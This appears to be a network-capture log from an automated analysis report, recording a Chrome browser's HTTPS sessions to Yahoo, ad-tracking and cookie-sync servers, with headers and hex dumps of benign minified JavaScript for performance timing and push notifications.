2024-01-10 23:27:13 UTC	668	IN	HTTP/1.1 302 Moved Temporarily Server: Apache Content-Length: 154 Content-Type: text/html Location: https://hb.yahoo.net/cksync.php?cs=1&type=mn&ovsid=3479308330180239000V10&axid_e= Set-Cookie: visitor-id=3479308330180239000V10; Expires=Thu, 09 Jan 2025 23:27:13 GMT; domain=.media.net; Path=/; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:13 GMT Connection: close
2024-01-10 23:27:13 UTC	154	IN	Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 45 72 72 6f 72 20 50 61 67 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 41 6e 20 65 72 72 6f 72 20 28 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 29 20 68 61 73 20 6f 63 63 75 72 72 65 64 20 69 6e 20 72 65 73 70 6f 6e 73 65 20 74 6f 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>Error Page</TITLE></HEAD><BODY>An error (302 Moved Temporarily) has occurred in response to this request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49901	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	649	OUT	GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	513	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:13 GMT Content-Length: 235 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:13 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsIovbEgs2PyTwQBTgB; expires=Fri, 10 Jan 2025 23:27:13 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:13 UTC	235	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1">https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49904	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	533	OUT	GET /os/yaft/yaft-0.3.28.min.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	872	IN	HTTP/1.1 200 OK x-amz-id-2: J000bnDJK/2NqpJ6AsR1Ai/O8a6jpFQifUuopsygfQoALsAiV0Ky99+2oQ+Re/vxCVXAbrpUAQyk9OYvpMmsNg== x-amz-request-id: 2MTH0XAP662HR3T7 Date: Fri, 29 Dec 2023 20:29:09 GMT Last-Modified: Wed, 11 Sep 2019 04:05:39 GMT ETag: "0731da3e399a4565e47c36702ffa9ba6" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 x-amz-version-id: null Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 17136 Referrer-Policy: no-referrer-when-downgrade Age: 1047485 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 66 75 6e 63 74 69 6f 6e 28 70 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 70 2e 59 41 46 54 29 7b 76 61 72 20 76 2c 54 2c 6e 2c 6f 2c 61 3d 21 31 2c 53 3d 21 31 2c 69 3d 21 31 2c 68 3d 21 31 2c 77 3d 21 30 2c 41 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 72 3d 21 31 2c 65 3d 66 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 46 3d 7b 75 73 65 50 72 65 66 69 78 52 65 67 65 78 3a 21 30 2c 75 73 65 4e 6f 72 6d 61 6c 69 7a 65 43 6f 76 65 72 61 67 65 3a 21 30 2c 63 61 6e 53 68 6f 77 56 69 73 75 61 6c 52 65 70 6f 72 74 3a 21 30 2c 63 61 6e 53 68 6f 77 50 65 72 66 42 61 72 3a 21 31 2c 75 73 65 4e 61 74 69 76 65 Data Ascii: "undefined"!=typeof window&&function(p,f){"use strict";if(void 0===p.YAFT){var v,T,n,o,a=!1,S=!1,i=!1,h=!1,w=!0,A=(new Date).getTime(),r=!1,e=f.documentElement,F={usePrefixRegex:!0,useNormalizeCoverage:!0,canShowVisualReport:!0,canShowPerfBar:!1,useNative
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6d 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 69 66 28 21 53 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 2c 6f 2c 61 2c 69 2c 73 3b 59 41 46 54 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 28 29 26 26 28 54 7c 7c 28 54 3d 44 28 29 29 2c 28 6e 3d 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 59 41 46 54 2e 67 65 74 4d 6f 64 75 6c 65 53 65 6c 65 63 74 6f 72 28 65 2c 21 31 29 29 29 26 26 28 6f 3d 59 41 46 54 2e 67 65 74 4d 6f 64 75 6c 65 4e 61 6d 65 28 6e 29 2c 6e 2e 6d 6f 64 4e 61 6d 65 3d 6f 2c 2d 31 3d 3d 3d 46 2e 6d 6f 64 75 6c 65 73 45 78 63 6c 75 64 65 2e 69 6e 64 65 78 4f 66 28 6f 29 26 26 28 79 5b 6f 5d 3d 6e 2c 69 3d 7b 6d 6f 64 53 74 61 72 74 3a 74 2c 6d 6f 64 45 6e 64 3a 72 7d 2c 73 3d 28 61 3d 6e 29 2e 6d 6f 64 4e 61 6d 65 2c 64 Data Ascii: ming:function(e,t,r){if(!S)return!1;var n,o,a,i,s;YAFT.isInitialized()&&(T\|\|(T=D()),(n=f.querySelector(YAFT.getModuleSelector(e,!1)))&&(o=YAFT.getModuleName(n),n.modName=o,-1===F.modulesExclude.indexOf(o)&&(y[o]=n,i={modStart:t,modEnd:r},s=(a=n).modName,d
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 59 41 46 54 5f 52 45 50 4f 52 54 2e 72 65 6d 6f 76 65 52 65 70 6f 72 74 26 26 28 70 2e 59 41 46 54 5f 52 45 50 4f 52 54 2e 72 65 6d 6f 76 65 45 78 74 72 61 73 28 29 2c 70 2e 59 41 46 54 5f 52 45 50 4f 52 54 2e 72 65 6d 6f 76 65 52 65 70 6f 72 74 28 29 29 2c 75 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 75 29 2c 6c 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6c 29 3b 74 72 79 7b 76 2e 63 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 3f 76 2e 63 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 28 29 3a 76 2e 77 65 62 6b 69 74 43 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 26 26 76 2e 77 65 62 6b 69 74 43 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 62 3d 76 2e 6e 6f 77 28 Data Ascii: YAFT_REPORT.removeReport&&(p.YAFT_REPORT.removeExtras(),p.YAFT_REPORT.removeReport()),u&&clearTimeout(u),l&&clearTimeout(l);try{v.clearResourceTimings?v.clearResourceTimings():v.webkitClearResourceTimings&&v.webkitClearResourceTimings()}catch(e){}b=v.now(
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 29 7b 69 66 28 21 69 29 72 65 74 75 72 6e 21 31 3b 63 3d 21 31 2c 6f 26 26 70 2e 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 6f 29 2c 6e 3d 65 2c 67 2e 6c 65 6e 67 74 68 3d 30 2c 63 3d 21 30 2c 6f 3d 70 2e 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 74 29 7d 2c 73 74 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 63 3d 21 31 2c 69 3f 28 6f 26 26 70 2e 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 6f 29 2c 6e 21 3d 3d 65 3f 28 74 26 26 74 28 22 46 50 53 20 73 74 6f 70 20 61 63 74 69 6f 6e 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 66 66 65 72 65 6e 74 20 74 68 61 6e 20 73 74 61 72 74 20 61 63 74 69 6f 6e 22 29 2c 21 31 29 3a 28 28 72 3d 57 28 29 29 2e 61 63 74 Data Ascii: ){if(!i)return!1;c=!1,o&&p.cancelAnimationFrame(o),n=e,g.length=0,c=!0,o=p.requestAnimationFrame(t)},stop:function(e,t){var r;return c=!1,i?(o&&p.cancelAnimationFrame(o),n!==e?(t&&t("FPS stop action cannot be different than start action"),!1):((r=W()).act
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6e 74 54 69 6d 65 22 69 6e 28 72 3d 70 2e 63 68 72 6f 6d 65 2e 6c 6f 61 64 54 69 6d 65 73 28 29 29 26 26 30 3c 72 2e 66 69 72 73 74 50 61 69 6e 74 54 69 6d 65 26 26 28 6e 3d 72 2e 73 74 61 72 74 4c 6f 61 64 54 69 6d 65 2c 22 72 65 71 75 65 73 74 54 69 6d 65 22 69 6e 20 72 26 26 30 3c 72 2e 72 65 71 75 65 73 74 54 69 6d 65 26 26 28 6e 3d 72 2e 72 65 71 75 65 73 74 54 69 6d 65 29 2c 72 2e 66 69 72 73 74 50 61 69 6e 74 54 69 6d 65 3e 3d 6e 26 26 28 74 3d 31 65 33 2a 28 72 2e 66 69 72 73 74 50 61 69 6e 74 54 69 6d 65 2d 6e 29 29 29 29 2c 21 30 3d 3d 3d 46 2e 67 65 74 41 63 63 75 72 61 74 65 46 69 72 73 74 50 61 69 6e 74 26 26 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 3c 30 7c 7c 31 32 65 34 3c 74 29 29 7b 74 3d 70 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 Data Ascii: ntTime"in(r=p.chrome.loadTimes())&&0<r.firstPaintTime&&(n=r.startLoadTime,"requestTime"in r&&0<r.requestTime&&(n=r.requestTime),r.firstPaintTime>=n&&(t=1e3*(r.firstPaintTime-n)))),!0===F.getAccurateFirstPaint&&(void 0===t\|\|t<0\|\|12e4<t)){t=p.performance.ti
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 65 6e 67 74 68 3b 61 3c 69 3b 61 2b 2b 29 72 2e 70 75 73 68 28 46 2e 77 68 69 74 65 4c 69 73 74 65 64 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 73 5b 61 5d 2b 22 5b 69 64 22 2b 6e 2b 27 3d 22 27 2b 65 2b 27 22 5d 27 29 3b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 6f 2b 22 5b 64 61 74 61 2d 79 61 66 74 2d 6d 6f 64 75 6c 65 22 2b 6e 2b 27 3d 22 27 2b 65 2b 27 22 5d 27 29 2c 72 2e 6a 6f 69 6e 28 22 2c 22 29 7d 2c 67 65 74 4d 6f 64 75 6c 65 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 46 2e 70 72 65 66 65 72 44 61 74 61 4d 6f 64 4e 61 6d 65 4f 76 65 72 49 64 3f 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 79 61 66 74 2d 6d 6f 64 75 6c 65 22 29 7c 7c 65 2e 69 64 7c 7c 76 6f 69 64 20 30 3a 65 2e 69 64 7c 7c 65 Data Ascii: ength;a<i;a++)r.push(F.whiteListedContainerElements[a]+"[id"+n+'="'+e+'"]');return r.push(o+"[data-yaft-module"+n+'="'+e+'"]'),r.join(",")},getModuleName:function(e){return F.preferDataModNameOverId?e.getAttribute("data-yaft-module")\|\|e.id\|\|void 0:e.id\|\|e
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2d 31 2c 72 65 71 75 65 73 74 53 74 61 72 74 3a 6e 2e 72 65 71 75 65 73 74 53 74 61 72 74 2d 6e 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2c 72 65 71 75 65 73 74 44 75 72 61 74 69 6f 6e 3a 6e 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 6e 2e 72 65 71 75 65 73 74 53 74 61 72 74 2c 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 6e 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 6e 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2c 72 65 73 70 6f 6e 73 65 44 75 72 61 74 69 6f 6e 3a 6e 2e 72 65 73 70 6f 6e 73 65 45 6e 64 2d 6e 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 7d 29 29 2c 73 3d 76 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 72 65 73 6f 75 72 63 65 22 29 2c 65 3d 30 3b 65 3c 73 2e 6c 65 6e 67 74 68 3b 65 2b 3d 31 29 22 64 6f 63 75 6d 65 6e Data Ascii: -1,requestStart:n.requestStart-n.navigationStart,requestDuration:n.responseStart-n.requestStart,responseStart:n.responseStart-n.navigationStart,responseDuration:n.responseEnd-n.responseStart})),s=v.getEntriesByType("resource"),e=0;e<s.length;e+=1)"documen
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 74 61 72 74 2b 74 2c 72 65 71 75 65 73 74 44 75 72 61 74 69 6f 6e 3a 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 65 2e 72 65 71 75 65 73 74 53 74 61 72 74 2c 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2b 74 2c 72 65 73 70 6f 6e 73 65 44 75 72 61 74 69 6f 6e 3a 30 3d 3d 3d 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3f 30 3a 65 2e 72 65 73 70 6f 6e 73 65 45 6e 64 2d 65 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b 72 65 74 75 72 6e 7b 77 69 6e 3a 70 2c 64 6f 63 3a 66 2c 64 6f 63 45 6c 65 6d 3a 65 2c 76 69 65 77 70 6f 72 74 57 69 64 74 68 3a 65 2e 63 6c 69 65 6e 74 57 69 64 74 68 3c 70 2e 69 6e 6e 65 72 57 69 64 74 68 3f 70 2e 69 6e 6e 65 72 57 69 64 74 68 3a 65 2e 63 Data Ascii: tart+t,requestDuration:e.responseStart-e.requestStart,responseStart:e.responseStart+t,responseDuration:0===e.responseStart?0:e.responseEnd-e.responseStart}}function D(){return{win:p,doc:f,docElem:e,viewportWidth:e.clientWidth<p.innerWidth?p.innerWidth:e.c
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2e 76 69 65 77 70 6f 72 74 57 69 64 74 68 3a 61 2e 6c 65 66 74 3c 30 26 26 30 3c 61 2e 72 69 67 68 74 3f 61 2e 72 69 67 68 74 3a 61 2e 77 69 64 74 68 29 2a 28 72 3d 61 2e 62 6f 74 74 6f 6d 3c 30 3f 30 3a 61 2e 62 6f 74 74 6f 6d 3e 74 68 69 73 2e 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 3f 30 3c 3d 61 2e 74 6f 70 3f 74 68 69 73 2e 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 2d 61 2e 74 6f 70 3a 74 68 69 73 2e 76 69 65 77 70 6f 72 74 48 65 69 67 68 74 3a 61 2e 74 6f 70 3c 30 26 26 30 3c 61 2e 62 6f 74 74 6f 6d 3f 61 2e 62 6f 74 74 6f 6d 3a 61 2e 68 65 69 67 68 74 29 29 2f 74 68 69 73 2e 67 65 74 56 69 65 77 70 6f 72 74 41 72 65 61 28 29 29 3c 31 26 26 28 6e 3d 4d 61 74 68 2e 63 65 69 6c 28 6e 29 29 2c 7b 78 3a 74 2c 79 3a 72 2c 65 6c 43 6f 76 65 72 61 67 65 Data Ascii: .viewportWidth:a.left<0&&0<a.right?a.right:a.width)*(r=a.bottom<0?0:a.bottom>this.viewportHeight?0<=a.top?this.viewportHeight-a.top:this.viewportHeight:a.top<0&&0<a.bottom?a.bottom:a.height))/this.getViewportArea())<1&&(n=Math.ceil(n)),{x:t,y:r,elCoverage
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 72 74 52 65 6e 64 65 72 3f 43 7c 7c 59 41 46 54 2e 67 65 74 53 74 61 72 74 52 65 6e 64 65 72 54 69 6d 65 28 29 3a 53 3f 76 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 45 76 65 6e 74 53 74 61 72 74 2d 41 3a 30 2c 66 3d 6c 3f 67 3a 6d 2c 70 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 46 2e 77 68 69 74 65 4c 69 73 74 65 64 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 73 2e 6a 6f 69 6e 28 29 29 2c 68 3d 70 2e 6c 65 6e 67 74 68 3b 69 66 28 74 29 73 3d 21 30 2c 6d 3d 74 2e 6d 6f 64 53 74 61 72 74 3f 74 2e 6d 6f 64 53 74 61 72 74 3a 6d 2c 66 3d 74 2e 6d 6f 64 45 6e 64 3f 74 2e 6d 6f 64 45 6e 64 3a 66 2c 62 26 26 28 62 3c 6d 3f 6d 2d 3d 62 3a 6d 3d 30 2c 62 3c 66 3f 66 2d 3d 62 3a 66 3d 30 29 3b 65 6c 73 65 20 69 66 Data Ascii: rtRender?C\|\|YAFT.getStartRenderTime():S?v.timing.domContentLoadedEventStart-A:0,f=l?g:m,p=e.querySelectorAll(F.whiteListedContainerElements.join()),h=p.length;if(t)s=!0,m=t.modStart?t.modStart:m,f=t.modEnd?t.modEnd:f,b&&(b<m?m-=b:m=0,b<f?f-=b:f=0);else if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49905	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	541	OUT	GET /aaq/notifications/js/sh-5.17.22.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: J7XaBP3PBhdc5ruZxkmeYJOytM0Vox3S4xUztOTE8O7inVZeZs6xaBICdHnJLVFHcLbBcs8ced0= x-amz-request-id: ZM9RA543XP8E47K9 Date: Wed, 10 Jan 2024 23:23:25 GMT Last-Modified: Tue, 04 Apr 2023 17:42:09 GMT ETag: "b6a0718189771e63d6886f3189569ad4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: z7DM9UzujGJgb9sjP6qPJCWgNM7tjNra Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 23456 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 229 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:13 UTC	768	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 22 42 72 6f 77 73 65 72 53 75 62 73 63 72 69 70 74 69 6f 6e 48 65 6c 70 65 72 22 2c 69 3d 5b 22 63 68 72 6f 6d 65 22 2c 22 63 68 72 6f 6d 65 20 6d 6f 62 69 6c 65 22 5d 2c 70 3d 22 65 72 72 6f 72 22 2c 66 3d 22 69 6e 66 6f 22 2c 6e 3d 22 70 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 2c 6f 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 74 3d 22 55 6e 73 75 70 70 6f 72 74 65 64 20 42 72 6f 77 73 65 72 2e 22 2c 75 3d 22 67 72 61 6e 74 65 64 22 2c 61 3d 22 64 65 6e 69 65 64 22 2c 63 3d 22 73 75 62 73 63 72 69 70 74 69 6f 6e 73 22 2c 73 3d 22 74 79 70 65 22 2c 64 3d 22 70 75 73 68 22 2c 65 3d 22 64 69 73 70 6c 61 79 2d 70 75 73 68 2d 70 72 6f 6d 6f 73 22 2c 6c 3d 22 6a 73 2d 70 75 73 68 2d 73 75 62 73 63 72 Data Ascii: !function(){var r="BrowserSubscriptionHelper",i=["chrome","chrome mobile"],p="error",f="info",n="pushNotifications",o="undefined",t="Unsupported Browser.",u="granted",a="denied",c="subscriptions",s="type",d="push",e="display-push-promos",l="js-push-subscr
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 65 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 53 63 6f 70 65 7c 7c 22 2f 22 2c 73 65 72 76 69 63 65 57 6f 72 6b 65 72 55 72 6c 3a 65 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 55 72 6c 2c 73 70 61 63 65 49 64 3a 65 2e 73 70 61 63 65 49 64 2c 73 75 62 73 63 72 69 70 74 69 6f 6e 53 65 72 76 69 63 65 3a 65 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 53 65 72 76 69 63 65 7c 7c 7b 7d 2c 73 75 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 73 3a 65 2e 73 75 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 73 7c 7c 7b 7d 2c 75 73 65 72 41 67 65 6e 74 3a 65 2e 75 73 65 72 41 67 65 6e 74 7c 7c 7b 7d 7d 2c 72 2e 61 70 70 53 65 72 76 65 72 50 75 62 4b 65 79 41 72 72 3d 72 2e 75 72 6c 42 36 34 54 6f 55 69 6e 74 38 41 72 72 61 79 28 65 2e 61 70 70 53 65 72 76 65 72 50 75 62 4b 65 79 29 Data Ascii: e.serviceWorkerScope\|\|"/",serviceWorkerUrl:e.serviceWorkerUrl,spaceId:e.spaceId,subscriptionService:e.subscriptionService\|\|{},supportedBrowsers:e.supportedBrowsers\|\|{},userAgent:e.userAgent\|\|{}},r.appServerPubKeyArr=r.urlB64ToUint8Array(e.appServerPubKey)
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2c 7b 69 73 4f 6e 62 6f 61 72 64 45 72 72 6f 72 3a 21 31 2c 70 75 73 68 4d 61 6e 61 67 65 72 43 68 75 72 6e 3a 21 30 7d 2c 6e 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 26 26 6c 28 22 55 6e 73 75 62 20 66 61 69 6c 65 64 22 29 7d 29 3b 76 61 72 20 69 3d 70 2e 5f 70 61 72 73 65 47 43 4d 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 28 6e 29 7c 7c 6e 75 6c 6c 2c 72 3d 65 2e 64 65 76 69 63 65 49 64 7c 7c 6e 75 6c 6c 2c 74 3d 65 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 53 74 61 74 65 7c 7c 6e 75 6c 6c 2c 6f 3d 6e 26 26 6e 2e 65 72 72 6f 72 3d 3d 3d 62 2c 73 3d 21 72 26 26 22 67 72 61 6e 74 65 64 22 3d 3d 3d 65 2e 73 74 61 74 65 2c 61 3d 72 26 26 22 67 72 61 6e 74 65 64 22 3d 3d 3d 65 2e 73 74 61 74 65 26 26 22 73 74 61 72 74 65 64 22 3d 3d Data Ascii: ,{isOnboardError:!1,pushManagerChurn:!0},n)}).catch(function(e){l&&l("Unsub failed")});var i=p._parseGCMSubscriptionId(n)\|\|null,r=e.deviceId\|\|null,t=e.subscriptionState\|\|null,o=n&&n.error===b,s=!r&&"granted"===e.state,a=r&&"granted"===e.state&&"started"==
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 65 63 6b 54 69 6d 65 3b 69 66 28 69 26 26 44 61 74 65 2e 6e 6f 77 28 29 2d 69 3c 3d 36 30 34 38 65 35 29 72 65 74 75 72 6e 20 73 26 26 73 28 6e 75 6c 6c 2c 6e 75 6c 6c 29 2c 21 31 3b 61 2e 63 68 65 63 6b 53 75 62 73 63 72 69 70 74 69 6f 6e 43 68 75 72 6e 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 69 29 7b 76 61 72 20 72 3d 6e 2e 69 73 4f 6e 62 6f 61 72 64 45 72 72 6f 72 2c 74 3d 6e 2e 70 75 73 68 4d 61 6e 61 67 65 72 43 68 75 72 6e 3b 69 66 28 65 7c 7c 21 72 26 26 21 74 29 73 26 26 73 28 6e 75 6c 6c 2c 6e 75 6c 6c 29 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 28 69 3d 69 7c 7c 7b 7d 29 2e 6f 72 69 67 69 6e 7c 7c 22 67 6f 6e 64 6f 72 5f 68 6f 6d 65 72 75 6e 5f 6e 65 77 73 22 3b 61 2e 5f 64 6f 52 65 67 69 73 74 65 72 53 65 72 76 69 63 65 57 6f 72 6b 65 72 28 61 2e Data Ascii: 